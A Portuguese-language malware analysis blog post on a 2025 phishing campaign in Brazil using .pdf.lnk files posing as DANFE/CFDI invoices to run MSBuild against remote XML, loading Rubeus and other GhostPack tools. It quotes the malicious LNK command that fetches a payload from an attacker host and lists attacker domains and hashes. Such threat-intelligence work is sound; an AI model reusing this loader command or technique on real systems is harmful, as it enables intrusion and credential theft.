Campanha de Malware via LNK + MSBuild (Agosto/2025)

Entre junho e agosto de 2025, foi identificada uma campanha de distribuição de malware no Brasil utilizando arquivos .LNK disfarçados de PDFs de DANFE/CFDI.

Moises Cerqueira

8/25/20256 min ler

1. Sumário Executivo

Entre junho e agosto de 2025, foi identificada uma campanha de distribuição de malware no Brasil utilizando arquivos .LNK disfarçados de PDFs de DANFE/CFDI. O vetor principal explorava o abuso do binário legítimo MSBuild.exe (LOLBIN – Living Off The Land Binary), que buscava carregar arquivos .xml maliciosos via caminhos UNC em domínios controlados pelos atacantes. A infraestrutura envolveu múltiplos domínios (ex.: filehosting.simple-url.com , filehosting.is-certified.com).

A técnica visava tanto execução fileless em memória quanto possível roubo de credenciais NTLMv2 por meio de tentativas de acesso SMB/WebDAV.

Exemplo de email recebido com os arquivos maliciosos

2. Cadeia de Ataque (TTPs)

2.1 Entrega

  • E-mails de phishing contendo anexos .lnk com nomes como:

  • DANFE1497181.pdf.lnk

  • DANFE1638504.pdf.lnk

  • CFDI514884.pdf.lnk

  • Disfarce para notas fiscais eletrônicas (DANFE/CFDI), comuns em campanhas brasileiras.

2.2 Execução

  • O .lnk apontava para:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe -nologo \ \filehosting.simple-url.com\Documents\DANFE1497181.xml

  • Abuso do MSBuild.exe para processar XML remoto.

2.3 Payload Fileless

  • Arquivos .xml continham CodeTaskFactory em C# para:

  • Baixar e executar payloads adicionais.

  • Executar código inline em memória (Assembly.Load).

  • Potencial comunicação com C2.

2.4 Evasão e Persistência

  • Uso de binário assinado da Microsoft (T1127.001 – MSBuild).

  • .lnk com extensão dupla (ex.: .pdf.lnk ) para enganar usuários.

  • Tentativa de uso de SMB/WebDAV para contornar inspeção em HTTP tradicional.

2.5 Impacto Potencial

  • Execução de trojans ou RATs.

  • Exfiltração de credenciais (via NTLMv2)

  • Persistência stealth sem gravação inicial de executáveis no disco.

3. Infraestrutura Observada

3.1 Evidências em Shodan

  • Porta 445/tcp (SMB) aberta, versão 2, com autenticação desabilitada.

  • Shares disponíveis:

  • ADMIN$ , C$ , IPC$ (padrão)

  • Documents

  • Downloads

  • Users

  • Isso confirma que o share Documents (mencionado no comando do LNK) estava acessível de forma anônima, permitindo download direto do XML malicioso.

4. IOC (Indicadores de Comprometimento)

Arquivos LNK:

  • DANFE1497181.pdf.lnk

  • DANFE1638504.pdf.lnk

  • Hash exemplo:

  • SHA256: e0cb3debd34e079b0b52feee53cddf94ecbee7fa6342386b5e12e88add3499ed

Domínios / URLs:

Endereço IP:

5. GhostBuild – MSBuild Payload Generator

Durante a análise, foi identificado que os XMLs utilizados na campanha eram compatíveis com o projeto GhostBuild (PUA.XML.GhostBuilder.SM).

Este é um builder público disponível no GitHub (bohops/ GhostBuild) que permite empacotar assemblies .NET em um payload MSBuild: 1. 2. 3.

O builder pega um binário .NET malicioso, comprime (zlib) e converte em Base64. Injeta dentro de um template XML que utiliza .

Quando executado via MSBuild, o XML descomprime os bytes e os carrega diretamente em memória usando Assembly.Load .

Exemplo simplificado do funcionamento do payload gerado:

Isso explica por que as amostras eram detectadas como GhostBuilder: o XML não carregava um malware fixo, mas sim um launcher genérico, capaz de rodar qualquer ferramenta .NET (ex: Rubeus, RATs, trojans). Isso dá flexibilidade ao atacante para rotacionar payloads sem alterar a fase inicial (LNK).

Variantes Suportadas

O repositório contém diferentes projetos XML prontos para embutir ferramentas conhecidas da família GhostPack e similares:

6. Payload Confirmado: Rubeus

Durante a análise, foi confirmada a presença do Rubeus.exe como payload carregado via GhostBuild.

  • Hash SHA256: 1faa0609db2ef16f714885992eb77e36465af8878c5a84fd46ba2854c31fe327

  • Classificação AV: Hacktool.MSIL.Fochi / Trojan / PUA

  • Funções: manipulação de tickets Kerberos, Kerberoasting, Golden/Silver tickets, pass-the-ticket, AS-REP roasting, Overpass-the-Hash.

  • Implicações: indica foco em pós-exploração de ambientes corporativos com Active Directory, e não apenas em vítimas domésticas.

Algumas das funções do binário Rubeus pós engenharia reversa e desofuscação

7. Achados adicionais durante engenharia reversa

Durante a análise de engenharia reversa com o dnSpy, alguns binários se mostraram particularmente interessantes:

  • SharpWMI.exe: identificado usuário de teste "harmj0y" e senha "Password123!" . Credenciais estáticas típicas de projetos de pesquisa, não necessariamente válidas em ambientes reais.

  • SafetyKatz.exe: combinação de Mimikatz reimplementado em C# para dump de credenciais e LSASS. Capaz de contornar algumas soluções de segurança que bloqueiam o binário Mimikatz clássico.

  • SharpDPAPI.exe: focado em extração de credenciais protegidas pelo DPAPI do Windows, incluindo senhas de navegadores, Wi-Fi e credenciais armazenadas em vaults.

  • SharpChrome.exe: coleta de dados sensíveis armazenados no navegador Chrome, incluindo cookies e senhas salvas, explorando o DPAPI local.

  • Seatbelt.exe: utilitário de enumeração extensiva de ambiente (informações de host, patches, políticas de segurança, configurações de UAC, etc.), útil para reconhecimento pós-exploração.

  • SharpUp.exe: identificação de vetores de escalonamento de privilégio em sistemas Windows, incluindo serviços mal configurados e permissões de arquivos.

  • SharpDump.exe / SharpKatz.exe: ferramentas para dump de memória de processos críticos (como LSASS), viabilizando extração de hashes e tickets.

Esses achados reforçam que a campanha não estava limitada a um payload específico, mas possuía capacidade de carregar diferentes utilitários de pós-exploração, maximizando a flexibilidade do atacante.

8. MITRE ATT&CK Mapping

  • T1204.002 – User Execution: Malicious File (LNK disfarçado de PDF).

  • T1127.001 – Trusted Developer Utilities Proxy Execution: MSBuild.

  • T1105 – Ingress Tool Transfer (download de payload via XML).

  • T1557 – Adversary-in-the-Middle (possível NTLM capture/relay via UNC).

  • T1036 – Masquerading (extensão dupla .pdf.lnk ).

  • T1620 – Reflective Code Loading (Assembly.Load em memória).

  • T1558.003 – Steal or Forge Kerberos Tickets (Rubeus).

9. Conclusão

A campanha analisada representa uma evolução do uso de LOLBIN (MSBuild) em ataques voltados ao Brasil, aproveitando engenharia social com DANFE/CFDI.

A infraestrutura esteve ativa até 31/07/2025, quando o domínio expunha SMB v2 publicamente com share Documents acessível anonimamente, confirmando a viabilidade de download do XML malicioso.

Atualmente, a porta 445 encontra-se filtrada, sugerindo que o atacante fechou o acesso após exposição. Além disso, foi confirmada a utilização do GhostBuild como builder para gerar XMLs maliciosos que carregavam ferramentas conhecidas de pós-exploração, incluindo o Rubeus.

O repositório evidencia que os atacantes poderiam facilmente alternar entre diferentes ferramentas da família GhostPack (SharpDPAPI, SharpUp, SharpWMI, etc.), aumentando a flexibilidade e persistência da ameaça.

Embora parte da infraestrutura já não esteja ativa, a técnica permanece válida e deve ser monitorada em ambientes corporativos.

O foco deve estar em detecção precoce de LNKs suspeitos, monitoramento de MSBuild e bloqueio de protocolos inseguros para internet.

Binário Rubeus ofuscado em Base64 + Compressão